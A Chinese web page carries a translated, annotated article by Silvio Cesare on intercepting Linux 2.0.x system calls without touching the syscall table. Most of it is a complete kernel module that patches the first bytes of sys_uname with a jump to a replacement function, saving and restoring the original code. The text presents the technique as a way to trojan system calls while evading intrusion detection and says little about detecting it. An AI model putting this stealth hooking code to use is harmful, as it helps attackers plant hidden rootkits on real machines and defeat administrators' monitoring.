选择显示字体大小

不用syscall table的方法来截获系统调用的方法的分析

前言:

拿到quack给我的这个文章真是很巧,正在整理分析linux系统调用的实现源代码,所以先翻译一下这

篇文章,然后谈一些自己的想法,文章的实现代码是基于2.0.x内核的,这个code在2.2.x内核上也可以编

译,主要看实现的原理方法了。

以下是译文:
by silvio cesare <silvio@big.net.au>
译:大鹰 <e4gle@hackermail.com>

本文描述了一种可以不利用syscall table来截获系统调用的方法(在linux的实现),它可以被用来

利用截获系统调用表注册或者trojan系统调用来逃避入侵监测系统。它还是一个简单的发现攻击行为的方

法。最基本的前提是攻击时需要改变旧的系统调用来跳转到新的系统调用,因此控制权交给新的系统调用

并且syscall table并没有变化。但,如果只有仅仅这些的话,那么原来的系统调用就很糟糕了,并且执

行起来会非常危险,所以当系统调用创建的时候原来的code必须被保存下来。原来的code被跳转指针替代

并且系统调用看起来和平常一样正常运行。在这之后,跳转指针会再次放置等待下次使用。要发现这种攻

击手段必须非常小心仔细地比较原系统调用的头几个字节来判断系统调用是否被截获。

********************************************************************************************
译者注:我们以前的截获实现是通过给syscall table注册一个new的sys call来截获,现在,新的方

法是我们来修改旧的系统调用的code来实现截获,加一个跳转指针指向new的sys call,并不需要添加注册

到syscall table中,从而可以逃避管理员的监测。

********************************************************************************************

以下是2.0.x的测试代码,我加以注释帮助大家理解:

-- stealth_syscall.c (linux 2.0.35)

#include <linux/config.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/utsname.h>
#include <linux/string.h>
#include <asm/string.h>
#include <asm/unistd.h>

#define syscall_nr __nr_uname

static char syscall_code[7];
static char new_syscall_code[7] =
"\xbd\x00\x00\x00\x00" /* movl &#36;0,%ebp */
"\xff\xe5" /* jmp *%ebp */ /*定义新的sys_code,其实就是一

个跳转指令*/
;

extern void *sys_call_table[];

void *_memcpy(void *dest, const void *src, int size)/*这个应该很熟悉了,在2.0.x内核中定义一

个数据传递函数*/
{
const char *p = src;
char *q = dest;
int i;

for (i = 0; i < size; i++) *q++ = *p++;

return dest;
}

/*
uname
*/

int new_syscall(struct new_utsname *buf) /*定义新的uname系统调用*/
{
printk(kern_info "uname - silvio cesare\n");
_memcpy(
sys_call_table[syscall_nr], syscall_code,
sizeof(syscall_code)
);
((int (*)(struct new_utsname *))sys_call_table[syscall_nr])(buf);/*正常运行系统调用

*/
_memcpy(
sys_call_table[syscall_nr], new_syscall_code,/*等待再次使用*/
sizeof(syscall_code)
);
}

int init_module(void) /*加载*/
{
*(long *)&new_syscall_code[1] = (long)new_syscall; /*把新的syscall_code指向

new_syscall*/
_memcpy(
syscall_code, sys_call_table[syscall_nr], /*保存原来的syscall_code*/
sizeof(syscall_code)
);
_memcpy(
sys_call_table[syscall_nr], new_syscall_code, /*好,注入新的code!实现截获*/
sizeof(syscall_code)
);
return 0;
}

void cleanup_module(void) /*卸载*/
{
_memcpy(
sys_call_table[syscall_nr], syscall_code, /*重新注入新的syscall_code*/
sizeof(syscall_code)
);
}   


 


关键字 本文所属关键字

相关 与本文相关文章

分类 所有文章关键字导航

源码编程相关

Java   Asp   PHP   .Net   XML   C/C++   CGI   VB   Jsp   J2ee   J2se   J2me   EJB   Servlet   Tomcat   Resin   Struts   Weblogic   Eclipse   ANT   GUI   JMS   Web servise   IDEA   Webphere   Hibernate   Spring   Jboss   Applet   Swing   Socket   Javamail   Perl   Ajax   P2P   安全   模式   框架   测试   开源   游戏

SQL数据库相关

My-SQL   Ms-SQL   Access   DB2   Oracle   Sybase   SQLserver   索引   存储过程   加密   数据库   分页   视图  

手机无线相关

3G   Wap   CDMA   GRPS   GSM   IVR   彩信   短信   无线   增值业务

网页设计制作相关

HTML   CSS   网页配色   网页特效   Javascript   VBscript   Dreamweaver   Frontpage   JS   Web   网站设计

网站建设推广相关

建站经验   网站优化   网站排名   推广   Alexa

操作系统/服务器相关

Windows XP   Windows 2000   Windows 2003   Windows Me   Windows 9.x   Linux   UNIX   注册表   操作系统   服务器   应用服务器

图形图像多媒体相关

Photoshop   Fireworks   Flash   Coreldraw   Illustrator   Freehand   Photoimpact   多媒体   图形图像

标准 网站致力的规范

Valid CSS!

无不良内容,无不良广告,无恶意代码

Valid XHTML 1.0 Transitional

creativecommons